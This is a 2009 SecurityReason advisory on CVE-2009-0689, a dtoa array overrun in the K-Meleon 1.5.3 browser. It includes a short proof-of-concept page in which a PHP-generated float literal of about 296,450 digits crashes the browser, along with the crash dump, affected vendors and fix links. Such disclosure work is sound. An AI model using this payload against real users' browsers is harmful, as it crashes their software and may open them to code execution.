K-Meleon 1.5.3 Remote Array Overrun

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
[ K-Meleon 1.5.3 Remote Array Overrun (Arbitrary code execution) ]  
  
Author: Maksymilian Arciemowicz and sp3x  
http://SecurityReason.com  
Date:  
- - Dis.: 07.05.2009  
- - Pub.: 20.11.2009  
  
CVE: CVE-2009-0689  
Risk: High  
Remote: Yes  
  
Affected Software:  
- - K-Meleon 1.5.3  
  
NOTE: Prior versions may also be affected.  
  
Original URL:  
http://securityreason.com/achievement_securityalert/72  
  
  
- --- 0.Description ---  
K-Meleon is an extremely fast, customizable, lightweight web browser  
based on the Gecko layout engine developed by Mozilla which is also used  
by Firefox. K-Meleon is free, open source software released under the  
GNU General Public License and is designed specifically for Microsoft  
Windows (Win32) operating systems.  
  
  
- --- 1. K-Meleon 1.5.3 Remote Array Overrun (Arbitrary code execution) ---  
The main problem exist in dtoa implementation. K-Meleon has the same  
dtoa as a KDE, Opera and all BSD systems. This issue has been fixed in  
Firefox 3.5.4 and fix  
  
http://securityreason.com/achievement_securityalert/63  
  
but fix for SREASONRES:20090625, used by openbsd was not good.  
More information about fix for openbsd and similars SREASONRES:20091030,  
  
http://securityreason.com/achievement_securityalert/69  
  
We can create any number of float, which will overwrite the memory. In  
Kmax has defined 15. Functions in dtoa, don't checks Kmax limit, and it  
is possible to call 16<= elements of freelist array.  
  
  
- --- 2. Proof of Concept (PoC) ---  
  
- -----------------------  
<script>  
var a=0.<?php echo str_repeat("1",296450); ?>;  
</script>  
- -----------------------  
  
K-Meleon will crash with  
  
Unhandled exception at 0x01800754 in k-meleon.exe: 0xC0000005: Access  
violation reading location 0x0bc576ec.  
  
01800754 mov eax,dword ptr [ecx]  
  
EAX 00000002   
ECX 0BC576EC   
EDI 028FEB51   
  
  
- --- 3. SecurityReason Note ---  
  
Officialy SREASONRES:20090625 has been detected in:  
- - OpenBSD  
- - NetBSD  
- - FreeBSD  
- - MacOSX  
- - Google Chrome  
- - Mozilla Firefox  
- - Mozilla Seamonkey  
- - KDE (example: konqueror)  
- - Opera  
- - K-Meleon  
  
This list is not yet closed. US-CERT declared that will inform all  
vendors about this issue, however, they did not do it. Even greater  
confusion caused new CVE number "CVE-2009-1563". Secunia has informed  
that this vulnerability was only detected in Mozilla Firefox, but nobody  
was aware that the problem affects other products like ( KDE, Chrome )  
and it is based on "CVE-2009-0689". After some time Mozilla Foundation  
Security Advisory  
("http://www.mozilla.org/security/announce/2009/mfsa2009-59.html")  
was updated with note :  
"The underlying flaw in the dtoa routines used by Mozilla appears to be  
essentially the same as that reported against the libc gdtoa routine by  
Maksymilian Arciemowicz ( CVE-2009-0689)".  
This fact ( new CVE number for Firefox Vulnerability )and PoC in  
javascript (from Secunia), forced us to official notification all other  
vendors. We publish all the individual advisories, to formally show all  
vulnerable software and to avoid wrong CVE number. We do not see any  
other way to fix this issue in all products.  
  
Please note:  
Patch used in Firefox 3.5.4 does not fully solve the problem. Dtoa  
algorithm is not optimal and allows remote Denial of Service in Firefox  
3.5.5 giving long float number.  
  
  
- --- 4. Fix ---  
NetBSD fix (optimal):  
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h  
  
OpenBSD fix:  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/sum.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorx.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtord.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorQ.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtof.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodg.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtod.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/smisc.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/hdtoa.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gethex.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gdtoa.h  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dtoa.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dmisc.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdio/vfprintf.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/arch/vax/gdtoa/strtof.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorxL.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorf.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtordd.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopxL.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopx.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopf.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopdd.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopd.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopQ.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodnrp.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodI.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIxL.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIx.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIg.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIf.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIdd.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoId.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIQ.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/qnan.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xfmt.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_xLfmt.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ffmt.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_dfmt.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_ddfmt.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g__fmt.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g_Qfmt.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/arithchk.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/gcvt.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/ecvt.c  
  
  
- --- 5. Credits ---  
Discovered by Maksymilian Arciemowicz and sp3x from SecurityReason.com.  
  
  
- --- 6. Greets ---  
Infospec p_e_a pi3  
  
  
- --- 7. Contact ---  
Email:  
- - cxib {a.t] securityreason [d0t} com  
- - sp3x {a.t] securityreason [d0t} com  
  
GPG:  
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg  
- - http://securityreason.com/key/sp3x.gpg  
  
http://securityreason.com/  
http://securityreason.pl/  
  
  
-----BEGIN PGP SIGNATURE-----  
  
iEYEARECAAYFAksF4ZoACgkQpiCeOKaYa9bJsACgqjmxJmR9BORNOK3YhNUeyz+o  
l8EAn2V+5mXH7GLWp+btWMf+4fGDeIzw  
=Zqoe  
-----END PGP SIGNATURE-----  
  
`